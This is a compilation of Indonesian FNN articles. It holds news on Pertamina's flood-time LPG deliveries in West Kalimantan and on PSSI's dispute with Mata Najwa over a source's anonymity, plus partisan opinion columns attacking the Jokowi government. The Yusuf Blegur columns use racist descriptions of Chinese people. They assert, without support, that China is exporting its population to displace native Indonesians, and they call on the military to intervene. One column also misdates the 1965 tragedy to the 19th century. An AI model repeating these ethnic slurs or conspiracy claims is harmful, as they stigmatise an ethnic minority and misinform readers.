Pontianak, FNN - PT Pertamina (Persero) Wilayah Kalimantan Barat (Kalbar) mendistribusikan elpiji subsidi pada masyarakat terdampak banjir untuk wilayah Kabupaten Sintang dan Melawi dengan menggunakan transportasi air, seperti sampan dan kapal cepat (speedboat). "Sejak empat hari terakhir kami mendistribusikan elpiji subsidi menggunakan transportasi air bagi masyarakat terdampak banjir untuk dua kabupaten tersebut yang ketinggian airnya cukup mengganggu transportasi darat," kata Sales Branch Manager Rayon III Pertamina Kalimantan Barat (SBM III Kalbar) Novan Reza Pahlevi saat dihubungi di Sintang, Sabtu. Dia menjelaskan distribusi dengan transportasi air itu dilakukan agar masyarakat yang menggunakan elpiji subsidi atau tabung tiga kilogram tetap bisa terlayani, meskipun wilayah tempat tinggal mereka sedang dilanda banjir yang cukup tinggi. "Distribusi kami lakukan ke agen-agen terdekat yang wilayahnya dilanda bencana alam banjir, sehingga kebutuhan masyarakat akan elpiji subsidi tetap terpenuhi," ujarnya. Sementara itu untuk jumlah SPBU yang terdampak banjir di Kabupaten Sintang tercatat lima unit tetapi masyarakat tetap bisa membeli BBM di SPBU yang tidak terdampak banjir. "Untuk stok BBM di Kabupaten Sintang masih relatif aman, karena umumnya aktivitas masyarakat yang menggunakan kendaraan juga berkurang akibat banjir tersebut," ungkapnya. Sementara itu untuk abupaten Melawi sebanyak sembilan SPBU yang terdampak banjir sejak sepekan terakhir. "Karena aktivitas masyarakat juga lumpuh akibat banjir, maka pemakaian BBM juga turun, dan masyarakat juga menggunakan transportasi air sejak beberapa hari terakhir," ujarnya. Sebelumnya Pelaksana Harian Bupati Sintang, Yosepha Hasnah kembali meliburkan aktivitas belajar tatap muka terbatas selama delapan hari ke depan, akibat banjir besar di daerah tersebut. "Sekolah diliburkan mulai 5-13 Nopember 2021, karena debit air semakin tinggi," kata Yosepha Hasnah. Dia menjelaskan keputusan meliburkan aktivitas sekolah tersebut berdasarkan Surat Keputusan Pelaksana Harian Bupati Sintang Nomor :420/ 5101/Disdikbud.A2 tertanggal 4 November 2021 tentang antisipasi bencana banjir besar. Dia mengatakan surat keputusan itu sudah diedarkan ke seluruh Kepala TK, PAUD, SD, dan SMP di Kabupaten Sintang. (mth)

Jokowi Tumbang Oleh Ulah Menteri

By M Rizal Fadillah Risma Menteri Sosial yang emosional wek wek ke mana-mana, memimpin dengan manajemen marah-marah sehingga menimbulkan kritik tajam. Tak pantas menjadi Menteri Sosial dengan modal jiwa a-sosial. Akting sinetron sapu-sapu bagai model teladan jadi bahan tertawaan. Malah menjadi pertanyaan akan kondisi kesehatan. Yaqut Menteri Agama terus bikin gaduh kepada umat beragama. Beragama Islam tetapi mengganggu ketenangan umat Islam. Dari rencana afirmasi Syi'ah dan Ahmadiyah, do'a semua agama, pengakuan agama Baha'i, hingga Kemenag hanya untuk NU dan menggandeng Kyai sesat ke Mabes Polri, umat resah dan mengkritik habis. Menteri Agama tak faham bagaimana mengayomi umat beragama. Premanisme dibawa ke ruang Kementerian. Nadiem Makarim pengusaha ojek online yang dikatrol jadi Menteri Pendidikan ternyata tidak menunjukkan kualitas Menteri terdidik. Dunia akademik diacak-acak. Tanpa makna kampus merdeka, liberalisasi dengan membuat road map menjauhi agama, dan terakhir membuat aturan yang membuka peluang seks bebas dan proteksi LGBT di Perguruan Tinggi. Nadiem menjadi Menteri Pendidikan yang dipaksakan untuk memenuhi mau-maunya Jokowi. Awal dianggap banyak potensi, namun prakteknya impotensi. Dunia pendidikan tampaknya bukan bidangnya. Bobot akademis tidak menunjang. Menteri BUMN Erick Thohir pengusaha yang membangkrutkan banyak BUMN. Karya BUMN dijual-jual meski atas nama perintah. Negara dijadikan lapak usaha. Terendus usaha pribadi masuk di Kementrian yang dipimpinnya. Meski dibantah, namun rakyat tidak percaya. Di era pandemi yang menyengsarakan rakyat, sempat-sempat mencari keuntungan berbisnis kesehatan. Konon bersama Menteri lain, Luhut Binsar Panjaitan. Nah Luhut lebih seru dan payah, Menteri segala Menteri ini diduga orang terkuat di belakang Presiden. Berjibun jabatan dipercayakan kepadanya. Bagai telah menerima "Super Semar" untuk menjalankan roda pemerintahan. Menko Investasi berujung jeblok investasi, Menko Maritim membentangkan jalur maritim buat negeri lain. Menko China-Indonesia yang menjadi Komandan penanganan pandemi ini dituduh masuk ke bisnis pandemi. Menteri yang sekaligus pengusaha memang dekat dekat dengan bisnis haram berbasis KKN. Hampir semua Menteri Jokowi tidak berprestasi bahkan bermasalah. Menteri Keuangan menjadi Menteri Perhutangan, Menteri Perdagangan menjadi Menteri Pengimporan, Menteri Mendes PDDT tidak menyejahterakan Desa malah diduga jual beli jabatan Kemendes PDDT. Jokowi salah memilih atau memang tidak bisa memilih. Oligarkhi faktanya menjadi pengendali dari kekuasaan. Desakan rakyat agar Menteri mundur atau dimundurkan mesti disikapi Presiden. Presiden harus bermusyawarah dengan oligarkhinya yang dipastikan susah atau serba salah. Menteri mundur berefek domino, Menteri dimundurkan memunculkan perlawanan. Gonjang-ganjing di Kabinet Jokowi akan semakin kuat. Memang yang terbaik sebagai solusi adalah Presiden yang mundur sehingga dapat ditata secara menyeluruh pemerintahan. Kembali ke relnya yang telah jauh melenceng. Jokowi yang bertahan hanya melanggengkan kebangkrutan, korupsi, bahkan penggerusan Ideologi dan Konstitusi. Ulah para Menteri membuka peluang kepada Jokowi untuk lebih cepat tumbang. Jalan semakin terseok-seok dan berat bertahan hingga akhir masa jabatan. *) Analis Politik dan Kebangsaan

PSSI Disarankan Tuntaskan Sengketa dengan Mata Najwa di Dewan Pers

Jakarta, FNN - Ketua Dewan Pers periode 2016-2019 Yosep Adi Prasetyo menyarankan PSSI untuk menuntaskan sengketa mereka dengan acara "Mata Najwa" di Dewan Pers dan tidak melakukan gugatan hukum. "Silakan PSSI mengadukan Mata Najwa ke Dewan Pers," ujar pria yang biasa disapa Stanley itu kepada Antara di Jakarta, Kamis. PSSI berencana melayangkan gugatan hukum kepada tayangan Mata Najwa demi mendapatkan identitas wasit yang diduga terlibat dalam pengaturan pertandingan di Liga 1 Indonesia 2021-2022. Jati diri wasit yang hadir sebagai narasumber dengan inisial "Mr. Y" itu dirahasiakan tim Mata Najwa sesuai dengan hak tolak yang ada dalam Undang-Undang Nomor 40 tahun 1999 tentang Pers. Hak tolak merupakan hak wartawan karena profesinya untuk mengungkapkan nama dan atau identitas lainnya dari sumber berita yang harus dirahasiakannya. Namun, pada Ayat 4 Pasal 4 Undang-Undang Pers tersebut menyatakan bahwa "Hak tolak dapat dibatalkan demi kepentingan dan keselamatan negara atau ketertiban umum yang dinyatakan oleh pengadilan". Artinya, hak tolak dapat gugur jika ada perintah pengadilan. Hal itulah yang diperjuangkan oleh PSSI. Menurut Yosep, sulit bagi PSSI untuk membawa hal itu ke pengadilan lantaran kerja pers juga dilindung kekuatan hukum lain yaitu Surat Edaran Mahkamah Agung Nomor 13 tahun 2008 serta Nota Kesepahaman antara Dewan Pers dan Kepolisian Negara Republik Indonesia. Semua regulasi tersebut bermuara ke satu titik yaitu sengketa terkait produk jurnalistik harus diselesaikan oleh Dewan Pers. "Di Dewan Pers, tim Mata Najwa tidak boleh menutupi semua informasi yang didapatkannya. Namun, nantinya Dewan Pers hanya sampai kepada kesimpulan apakah sebuah produk itu sesuai kaidah jurnalistik atau tidak. Jika sesuai, maka PSSI harus menghormati Undang-Undang Pers. Namun, jika tidak, maka bisa dilakukan tindakan lanjutan," kata Yosep. Salah satu pendiri Aliansi Jurnalis Independen (AJI) itu mengatakan bahwa pernah ada kasus di mana seorang narasumber di televisi ternyata memberikan keterangan palsu. Peristiwa itu terjadi sekitar tahun 2010 dan sang narasumber akhirnya ditangkap polisi. "Dahulu pernah terjadi, seseorang bercerita tentang dirinya mafia kasus di kepolisian dan mengaku sering keluar masuk Mabes Polri. Ternyata setelah itu dia ditangkap dan diperiksa ternyata memang rekayasa," tutur Yosep. Tayangan bertajuk Mata Najwa yang tayang pada Rabu (3/11) mengangkat tema "PSSI Bisa Apa jiid 6: Lagi-lagi Begini". Acara yang dipandu jurnalis Najwa Shihab itu mengundang beberapa narasumber termasuk seseorang yang menyebut dirinya wasit Liga 1 dan mengaku terlibat dalam pengaturan dua pertandingan di Liga 1 Indonesia musim 2021-2022. Mata Najwa adalah sebuah program yang diproduksi oleh Narasi atau PT Narasi Media Pracaya. PT Narasi Media Pracaya adalah institusi jurnalistik resmi yang sudah terdaftar dan terverifikasi oleh Dewan Pers pada 29 Nopember 2019 dengan sertifikat bernomor : 472/DP-Verifikasi/K/XI/2019. Sebelumnya Pemimpin redaksi Narasi atau PT Narasi Media Pracaya, Zen Rachmat Sugito mengatakan PSSI lebih baik fokus mengusut kasus pengaturan skor daripada mengejar identitas wasit diduga pelaku match fixing Liga 1 dalam tayangan "Mata Najwa". "PSSI lebih baik fokus ke pokok perkara yang saat ini sudah ada di meja mereka. Mereka bisa menelusurinya dari pemain-pemain yang sudah dihukum," ujar Zen kepada Antara di Jakarta, Kamis. Yang dimaksud Zen adalah lima eks pemain klub Liga 2 Perserang yang divonis terlibat dalam kasus dugaan pengaturan skor dan sudah dihukum PSSI mulai Rabu (3/11). Menurut pria berusia 45 tahun itu, PSSI bisa memulai penyelidikan internal mulai dari sana. Dia menyarankan PSSI untuk serius menggali secara detail kasus itu sehingga ditemukan petunjuk ke kasus serupa di Liga 1. Dari pemain yang sudah dihukum, Zen menilai PSSI seharusnya dapat membongkar semuanya mulai dari sosok yang meminta pengaturan skor dilakukan sampai siapa wasit atau perangkat pertandingan yang terlibat. "Keterangan dari pemain-pemain itu semestinya bisa dilacak dan menjadi pintu masuk sampai ke akar-akarnya," tutur Zen. Zen pun yakin PSSI memiliki semua sumber daya, termasuk teknologi, yang diperlukan untuk menyusuri kasus pengaturan skor di sepak bola Indonesia. Itu pulalah yang membuat dia merasa heran PSSI harus menunggu pengaturan skor itu ramai di media baru melakukan tindakan. Dia mencontohkan, seperti pada tahun 2018, saat tindakan demi tindakan hukum baru dilakukan setelah Mata Najwa mengangkat kasus pengaturan skor di sepak bola Indonesia. Ketika itu, nama-nama seperti Mbah Putih dan Hidayat terungkap di Mata Najwa yang pada akhirnya membuat PSSI serta polisi membongkar kasus tersebut. Dalam prosesnya, beberapa petinggi PSSI termasuk eks pelaksana tugas Ketua Umum PSSI Joko Driyono ditangkap terkait perkara tersebut. "Sangat sering PSSI bergerak setelah adanya karya jurnalisik (yang membongkar pengaturan skor-red). Mestinya tidak perlu menunggu kerja pers," kata Zen. Terkait rencana PSSI, yang disampaikan melalui Ketua Komite Wasit Ahmad Riyadh, untuk melayangkan gugatan hukum kepada "Mata Najwa" demi mendapatkan identitas sosok wasit rahasia yang hadir dalam acara tersebut, Zen menilai hal itu akan sia-sia. Alasan utamanya karena Mata Najwa dan juga perusahaan media yang menaunginya PT Narasi Media Pracaya merupakan institusi pers yang diakui oleh Dewan Pers dan oleh sebab itu mereka memiliki kewenangan yang disebut "hak tolak". Hak tolak, berdasarkan Undang-Undang Republik Indonesia Nomor 40 Tahun 1999 tentang Pers, adalah hak wartawan karena profesinya untuk menolak mengungkapkan nama dan atau identitas lainnya dari sumber berita yang harus dirahasiakannya. Dengan demikian, setiap institusi pers memiliki kewenangan penuh untuk menutup jati diri narasumbernya. Namun, pada Ayat 4 Pasal 4 Undang-Undang Pers tersebut juga menyatakan bahwa "Hak tolak dapat dibatalkan demi kepentingan dan keselamatan negara atau ketertiban umum yang dinyatakan oleh pengadilan". Artinya, hak tolak bisa tidak berlaku jika ada perintah pengadilan. Hal itulah yang diperjuangkan oleh PSSI. Namun, Zen pesimistis usaha PSSI akan sampai ke pengadilan. Sebab, selain Undang-Undang Pers, kerja jurnalistik juga dilindungi oleh dua kekuatan hukum lain yaitu Surat Edaran Mahkamah Agung Nomor 13 tahun 2008 serta Nota Kesepahaman antara Dewan Pers dan Kepolisian Negara Republik Indonesia. "Pak Ahmad Riyadh adalah seorang pengacara yang seharusnya mengetahui UU Pers. Kalau memang mau mempermasalahkan soal narasumber kami, sebaiknya dibawa ke Dewan Pers karena akan buang-buang waktu ke pengadilan," ujar Zen. Atau, jika memang tetap mempermasalahkan soal hak tolak dalam UU Pers, Zen menyarankan PSSI untuk menggunakan jalur hak uji materiil (judicial review) di Mahkamah Konstitusi. "Silakan saja kalau mau mengajukan judicial review soal hak tolak itu ke Mahkamah Konsitusi," tutur Zen. Tayangan bertajuk Mata Najwa yang tayang pada Rabu (3/11) mengangkat tema "PSSI Bisa Apa jiid 6: Lagi-lagi Begini". Acara yang dipandu jurnalis Najwa Shihab itu mengundang beberapa narasumber termasuk seseorang yang menyebut dirinya wasit Liga 1 dan mengaku terlibat dalam pengaturan dua pertandingan di Liga 1 Indonesia musim 2021-2022. (sws, ant)

Masih Adakah TNI untuk Rakyat?

Oleh: Yusuf Blegur Sebagai tentara rakyat Indonesia TNI biasanya hadir pada saat rakyat mengalami kesengsaraan. TNI selalu bersama rakyat dalam keadaan sesulit apa pun. Sebagai anak kandung rakyat, kekuatan yang lahir dari rahim rakyat, TNI tak akan sanggup melihat rakyat tertindas, hidup dalam penderitaan. Sebagai institusi kekuatan bersenjata,, TNI menjadi tempat perlindungan utama bagi rakyat dalam menghadapi musuh yang datang dari luar maupun dari dalam. Sejarah menoreh catatan emas perjalanan kekuatan dwi tunggal tersebut. Bahwasanya, TNI bersama rakyat berjuang bersama merebut dan mempertahankan kemerdekaan Indonesia. Baik dari penjajahan asing maupun pengkhianatan dari bangsanya sendiri. TNI juga merupakan pintu gerbang terakhir penyelamatan Pancasila, UUD 1945 dan keberlangsungan NKRI. Medan pertempuran yang dihadapi suatu negara saat ini, mungkin saja berbeda dengan model peperangan beberapa dekade yang lalu, dimana peperangan tidak selalu soal aneksasi atau penguasaan fisik dan dengan menggunakan kekuatan bersenjata. Kecenderungan perang kekinian menjadi lebih dinamis, modern, dan bervariasi. Penggunaan senjata tidak melulu dibutuhkan untuk penaklukan suatu negara. Seiring waktu, sesuai kemajuan zaman dengan pesatnya perkembangangan informasi dan teknologi, banyak cara satu atau beberapa negara menancapkan kuku kekuasaannya pada negara lain. Target kekuasaan juga tidak mutlak pada merebut atau menguasai keseluruhan suatu wilayah atau negara secara fisik semata. Dengan kata lain, penguasaan ekonomi, penguasaan politik dan penguasaan budaya suatu bangsa juga menjadi alat dan metode yang efisien dan efektif dari penjajahan. Proxy War, perang asimetri dan CBRE kini menjadi perang modern yang menyelimuti dan mengancam dunia. Menciptakan konflik untuk memecah belah, menguasai sumber daya alam, menciptakan pemimpin boneka, dan atau penguasaan fisik suatu negara, jika diperlukan bisa saja terjadi. Bahkan bisa melalui infiltrasi informasi, investasi dan agresi di pelbagai bidang. Tak bisa dipungkiri lagi, penjajajahan gaya baru bisa hadir melalui agitasi dan propaganda serta penyesatan informasi memanfaatkan media komunikasi. Seiring itu, bisa juga dipicu dari hubungan ekonomi yang dibangun melalui ekploitasi dan eksplorasi sumber daya alam berkedok investasi dan jebakan hutang luar negeri. Di lain sisi daya tarik geografis, geopolitis dan geostrategis mengundang syahwat kolonialisasi suatu negara terhadap negara lain. Memoderasi kapitalisme dengan istilah neo-kolonialisme dan neo-imperialisme. Membaca Posisi dan Kekuatan Negara NKRI yang rawan dan rentan terhadap penguasaan asing dan aseng, menyebabkan terbukanya peluang negara terpecah-belah dan kehilangan kedaulatan negara. Belum lagi ditambah pengeroposan dari dalam berupa korupsi dan pengekangan demokrasi dll. Upaya intervensi dari luar yang berisiko terhadap keberadaan dan eksistensi negara Indonesia, tidak serta-merta hanya karena ancaman kekuatan alutsista. Keruntuhan NKRI bisa saja terjadi karena hilangnya kedaulatan politik, lemahnya kemandirian ekonomi serta hancurnya kebudayaan nasional. Ciri-ciri sederhana dan dapat menjadi indikatornya ialah ketika negara digerogoti dari dalam oleh perilaku korup dan 'abuse of power'. Negara semakin melemah dan digantikan oleh kekuatan kelompok 'non state'. Hegemoni dan dominasi borjuasi korporasi besar pada akhirnya melahirkan oligarki yang mencengkeram birokrasi dan para politisi. Negara melalui aparaturnya harus tunduk pada kekuatan modal yang berwujud perusahaan lokal dan transnasional. Tanpa terkecuali para pemimpin insitusi negara, mulai dari kekuasaan eksekutif, legislatif, dan yudikatif, semua aparatur pemerintahan termasuk di dalamnya presiden, para menteri, DPR/MPR, Jaksa Agung, MA dan MK, tak luput juga TNI-Polri, hampir semua aparatur pemerintahan baik sipil maupun militer, berada dalam ketiak para cukong, mafia dan sindikat. Mereka tak ubahnya suatu pemerintahan boneka. Boneka-boneka cantik dan manis yang terlihat lugu yang terpajang di istana negara dan kantor-kantor pemerintahan. Reaktualisasi Kemanunggalan TNI dan Rakyat Negara dan bangsa Indonesia pada kondisi aktual dan faktual, telah menjadi rahasia umum berada dalam masa-masa genting. Bahkan, beberapa pemimpin negara dan media asing sudah berani menyorot keadaan Indonesia. Terlebih terkait ekonomi-politik soal banjirnya investasi plus hutang luar negeri dari Cina. Di dalam negeri sendiri, fenomena pengaruh dan kekuasaan orang-orang Cina telah merangsek ke pelbagai sendi kehidupan bangsa Indonesia. Telah kasat mata berupa determinasi, arogansi dan superioritas orang-orang Cina di Indonesia. Dahulunya hanya unggul di sektor ekonomi, etnis pendatang dari negeri komunis bermata sipit dan berkulit kuning itu. Kini telah menguasai panggung-panggung politik dan sistem pertahananan keamanan negara. NKRI telah membunyikan alarm bahaya. Ini menyangkut masa depan anak-cucu dan keberadaan negara bangsa Indonesia yang terancam. Siapakah yang mampu mengambil peran inisiatif menyelamatkan NKRI? Mungkin tulisan ini bisa menjadi harapan dan sekaligus pesan moral kepada TNI. Di saat umat Islam dan rakyat pada umumnya tak berdaya, hidup dalam ketidakadilan yang hanya menimbulkan kesengsaraan dan penderitaan rakyat. Kepada siapa lagi rakyat berharap dan meminta pertolongan?, kecuali kepada TNI. Ada baiknya TNI dapat melakukan refleksi sekaligus evaluasi terhadap peran dan eksistensinya terhadap Pancasila, UUD 1945 dan NKRI. Terlebih terhadap adanya disparitas yang teramat lebar antara TNI dan rakyat. Masih sanggupkan TNI mengingat sejarah?. Masih sanggupkan TNI untuk tidak melupakan sejarah?. Kebersamaan dengan rakyat bahkan sebelum menjadi TNI. Saat masih menjadi BKR, TKR dan ABRI, di situlah momen dan perjuangan kemanunggalan TNI dengan rakyat yang tak bisa diabaikan dan dipisahkan keberadaannya di republik ini. TNI dan rakyat bahu-membahu, saling mengisi dan membantu mengatasi masalah kebangsaan bersama, menghadapi musuh penjajah yang datang dari luar maupun yang datang dari dalam. Negara menjadi saksi bisu bahwasanya TNI dan rakyat bersatu sejak masa perjuangan pergerakan kemerdekaan Indonesia, pasca kemerdekaan hingga peristiwa 1965 dan lahirnya era reformasi. Tiada negara tanpa kemanunggalan TNI dan rakyat. Tiada Pancasila, UUD 1945 dan NKRI tanpa kemanunggalan TNI dengan rakyat. Keduanya adalah pahlawan yang mutlak dibutuhkan bagi keberadaan dan eksistensi ke depan republik ini. Seperti yang dikatakan negarawan, tiada negara yang selamat tanpa angkatan perangnya. Kekinian, menjelang peringatan hari pahlawan yang bertepatan dengan tanggal 10 November 2021, mungkin inilah momen sekaligus titik balik dari kebangkitan kemanunggalan TNI dan rakyat. Khususnya umat Islam dengan kalangan santri dan resolusi jihad dari ijtihad para ulama. Bersama TNI menjadi api revolusi yang mengguncang dunia. Semoga spirit 10 November 1945 yang menjadi representasi bersatunya TNI dan rakyat dalam mempertahankan kemerdekaan Indonesia, bisa menjadi kebangkitan NKRI. Jika peristiwa heroik bersatunya TNI dan rakyat dalam suasana keterbatasan, mampu memenangkan pertempuran fisik melawan kekuatan militer yang tidak seimbang, bahkan saat melawan tentara fasis sekutu yang baru saja memenangkan perang dunia ke-2, maka itu menjadi pelajaran sejarah yang teramat penting bagi TNI dan rakyat. Betapapun dalam ancaman dan tekanan sekalipun datang dari luar, bersatunya TNI dan rakyat akan sanggup menghadapi bangsa asing maupun aseng. Tentunya dengan rahmat Allah Subhanahu Wa Ta'Ala, mengiringi pekik perjuangan Merdeka dan Allahu akbar!. In syaa Allah. Penulis, Pegiat Sosial dan Aktivis Yayasan Human Luhur Berdikari

Negeri Seolah-olah

Oleh Yusuf Blegur Terlihat tak ada sedikitpun celah kekurangan atau hal-hal yang buruk dari keberadaan Republik Indonesia. Negeri yang oleh Koes Plus dikatakan tanah surga, gemah ripah loh jinawi, seakan didesain Sang Pencipta menjadi negeri yang memuliakan kemanusiaan dan mengagungkan Ketuhanan. Apalagi kalau diamati dari konstitusinya, dasar negara dan falsafah bangsanya. Dengan Pancasila yang menimbulkan kecemburuan bagi dunia karena nilai-nilainya yang universal. Disebut-sebut lebih tinggi dari "Declaration of Human Right" Amerika Serikat atau Manifesto komunisnya Uni Soviet. DITAMBAH lagi UUD 1945 yang dalam mukadimahnya sarat religiusitas karena menegaskan narasi atas berkat rahmat Allah yang Maha Kuasa dan dengan didorongkan oleh keinginan luhur, supaya berkehidupan kebangsaan yang bebas, maka rakyat Indonesia menyatakan dengan ini kemerdekaannya. Negeri yang berada di tengah garis khatulistiwa yang eksotis berlimbah kekayaan alam dan dibingkai oleh semboyan NKRI Itu, serasa menjadi negara sempurna yang menghidupi rakyatnya dengan kemakmuran dan keadilan. Namun sayangnya, fakta berbicara lain. 76 tahun berlalu, kemerdekaan yang diraih melalui pengorbanan begitu besar, tak kunjung membawa rakyat Indonesia memiliki negara kesejahteraan. Apa yang terjadi, semua mengalami kontradiksi. Apa yang kemudian menjadi semangat dan tujuan proklamasi kemerdekaan, menghasilkan sesuatu yang sungguh-sungguh bertolak belakang. Teorinya tak sebagus prakteknya. Begitupula dengan pemimpin-pemimpin yang diberikan amanah oleh rakyat. Begitu banyak menampilkan sikap yang tidak memilki satunya kata dengan perbuatan. Keseharian rakyat dipertontonkan dengan betapa berjaraknya antara nilai-nilai dengan tindakan. Di tengah-tengah konstelasi dan konfigurasi dunia yang melulu menampilkan kepalsuan, manusia hidup dalam konspirasi kejahatan global. Bukan hanya eksploitasi manusia atas manusia dan eksploitasi bangsa atas bangsa, lebih dari itu dengan kesombongannya, manusia memarginalkan peran dan kekuasaan Tuhan. Banyak yang beragama, namun tak banyak yang menjalaninya. Bahkan tidak sedikit yang tidak beragama dan lebih bangga menuhankan dirinya. Hidup di era modern, namun mewujud seperti Raja Firaun, manusia dzolim yang dihukum Tuhan. Tidak terkecuali di Indonesa. Negeri yang dibangun di atas fondasi keagamaan, tradisi, dan dinamika masyarakatnya yang kaya akan spiritualitas. Namun mengusung prinsip-prinsip sekuler dan demokrasi liberal dalam mengelola negara. Indonesia lebih pantas menjadi tempat berhimpunnya populasi yang menganut kapitalisme dan menghamba pada materialistik. Sungguh miris dan ironis. Tidak hanya a-historis, negara perlahan namun pasti menuju dekadensi moral dan kemunduran peradaban. Korban Pemimpin-Pemimpin Durjana 7 tahun lebih rezim Jokowi memimpin Indonesia. Belum tuntas ia menyelesaikan perjalanan roda pemerintahan 2 periode. Jokowi seperti meninggalkan reruntuhan dan keping-keping kehancuran bangunan. Di bawah kepemimpinan Jokowi membuat negara seperti baru saja mengalami tsunami dahsyat dan gempa bumi mengerikan. Kerusakan akibat bencana yang bukan dihasilkan oleh alam, tapi oleh kelicikan dan kerakusan manusia. Jokowi sendiri menjadi presiden yang dianggap publik menghasilkan pemerintahan yang paling buruk dibandingkan dengan presiden-presiden sebelumnya yang pernah memimpin Indonesia. Ada beberapa aspek fundamental yang substansial dan esensial dalam kehidupan bernegara yang diberangus rezim Jokowi. Beberaa di antaranya al., sbb:. 1. Sektor Keagamaan. Sebagai mayoritas penduduk di Indonesia, umat Islam paling rentan dan sering mengalami penindasan. Mulai dari stigma stereotip dan fitnah sebagai agama kekekerasan dan teroris, umat Islam kerapkali dicap intoleran, radikal, dan fundamental. Umat Islam juga sering mendapat tindakan represi dan kriminalisasi. Tidak sedikit para aktivis Islam dan para ulama yang dipenjarakan rezim dengan niat jahat, penuh siasat dan tidak mendapat keadilan hukum serta perlndungan negara. Selain itu pemerintahan Jokowi secara terang-terangan seperti menyusun strategi terencana melakukan politisasi dan memarginalkan umat Islam. Justru banyak pejabat pemerintahan terutama di lingkungan kementerian dan instansi yang setingkat, melalui gerakan sekulerisasi dan liberaliaasi berupaya membuat deIslamisasi. Contohnya bisa dilihat dari kebijakan yang dikeluarkan kementerian agama dan kementeriaan pendidikan. Kedua kementerian ini cenderung sering menyusupkan kebijakan-kebijakan strategis yang yang menggerus dan anti Islam. Rezim Jokowi terkesan melegalkan tindakan pelanggaran hukum terhadap umat Islam dan mereduksi nilai-nilai Islam. Ada juga satu peristiwa yang tak terlupakan dan akan menjadi cacat sejarah bagi rezim Jokowi. Saat terjadi pembunuhan 6 orang laskar pengamanan Imam Besar Habib Riziek Syihab (HRS). Terlepas dari upaya politisasi dan kriminalisasinya, peristiwa itu menjadi catatan pelanggaran berat HAM baik di dalam negeri maupun internasional. Kasus itu layak disebut 'extra ordinary crime", atau 'crime of state' meski terus ditutup-tutupi dan dihilangkan. 2. Sektor Politik dan Ekonomi. Justru di bawah kekuasaan partai-partai politik yang berbasis nasionalis dan sebagian berbasis agama seperti PDIP, Golkar, Gerindra, PPP, PKB dll, pemerintahan Jokowi malah gagal dan tak mampu mewujudkan konsep Trisakti yang pernah diusung Bung Karno, dimana gagasan itu menjadi representasi nasionalisme Indonesia. Berdaulat dalam bidang politik, kemandirian dalam bidang ekonomi dan berkepribadian dalam kebudayaan, seperti menjadi pepesan kosong dalam kekuasaan rezim Jokowi. Lebih sadis lagi PDIP yang dipimpin Megawati Soekarno Putri yang merupakan anak kandung Bung Karno, dimana Jokowi menjadi petugas partainya, bersama kolega partai dan pemerintahan membuat oligarki yang pantas disebut mengkhianati cita-cita Bung Karno dan NKRI. Megawati Soekarno Putri bersama persekongkolan politik kekuasaan, seperti membunuh Bung Karno berkal-kali setelah kematian fisik dan ideologinya yang sebenarnya. Rezim Jokowi juga terus membawa negara dan bangsa Indonesia ke jurang kehancuran. Lewat kolonialiasasi ekonomi dan politik berkedok investasi, Indonesia kini berada dalam cengkeraman China yang komunis. Ini menyebabkan pendulum ideologi tidak berada dalam posisi keseimbangan. Cina semakin agresif bukan hanya dalam soal ekonomi dan politik, kekuatan negeri tirai bambu itu itu juga 'mengekspor" penduduknya dalam jumlah besar ke Indonesia. Siap menggusur pribumi dan merebut kadaulatan Indonesia. Selain mengusik kepentingan kapitalisme blok barat yang dipimpin Amerika, hegemoni dan dominasi Cina terhadap Indonesia. dapat memicu konflik kepentingan dan bisa saja menimbulkan perang, terutama karena ekonomi politik dan pertahananan keamanan dua ideologi dunia itu. Kondisi yang demikian membuat Indonesia dalam kerugian besar dan dalam bahaya. Selain soal penguasaan sumber daya alam, pemerintahan di bawah kepemimpinan Jokowi, terancam kehilangan stabilitas dan kedaulatan negara. Situasi seperti ini seakan membawa Indonesia kembali pada era perang dingin. Bukan tidak mungkin, peristiwa 1965 yang menjadi tragedi politik dan kemanusiaan itu terjadi lagi. Catatan hitam sejarah konflik ideologi dan transisi kekuasaan itu berpotensi terulang, mengingat latar belakang, indikator dan fenomena-fenomena yang ada hampir sama dengan yang menyebabkan peristiwa G 30 S/PKI. Salah satu tragedi kemanusiaan terbesar yang pernah ada di abad 19. Syarat-syarat obyektif dan subyektif, menyebakan peristiwa tersebut bakal kembali terjadi. Hanya soal waktu yang mungkin tidak terlalu lama lagi. 3. Sektor Kebudayaan. Di samping seolah-olah menjadi negera Pancasila dan melaksanakan konstitusi UUD 1945, Indonesia malah mengadopsi sistem nilai dan kebudayaan yang justru bertentangan dengan Pancasila dan UUD 1945. Indonesia pada akhirnya menjadi wadah sekaligus potensi pasar global dari banyaknya produk ekonomi dan kebudayaan negara-negara di dunia. Indonesia tak ubahnya diterpa agresi kebudayaan asing. Cara berpikir, bertutur kata dan bertindak bangsa Indonesia, semua bergaya dan diisi oleh faham kapitalis yang sekuler dan liberal. Nilai-nilai Islam dan agama pada umumnya tercerabut dari akarnya. Lagi-lagi menjadi korban imperialisme dan kolonialisme modern. Dari semua realitas itu, faktor kepemimpinan nasional menjadi pemicu dan berkontribusi signifikan membentuk tatanan negara dalam pelbagai dimensi kehidupan rakyat. Dalam hal ini, keadaan Indonesia yang jauh dari ideal apalagi sampai bisa disebut 'wellfare state', lebih karena pemimpin-pemimpin yang bukan saja khianat terhadap cita-cita proklamasi kemerdekaan dan tujuan negara, akan tetapi pemimpin-pemimpin itu, telah menggantikan peran kaum penjajah. Mengumbar nafsu syahwat kekuasaan menjadi koloniais di negerinya sendiri. Menjadi pemimpin-pemimpin durjana bagi rakyatnya. Oleh karena itu dengan masih menyebut Indonesia dengan julukan negara Pancasila, berpijak pada UUD 1945 dan dalam naungan NKRI, gemuruh dan sorak sorai saya Indonesia, saya Pancasila dan saya NKRI, sejatinya, kekuasaan ini sedang menjalankan negara yang seolah-olah. Seolah-olah Pancasila. Seolah-olah NKRI. Seolah-olah Indonesia. Semoga dapat menjadi yang sesungguhnya. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Bedikari.

Jawaban Kepada Para Penentang Syariah

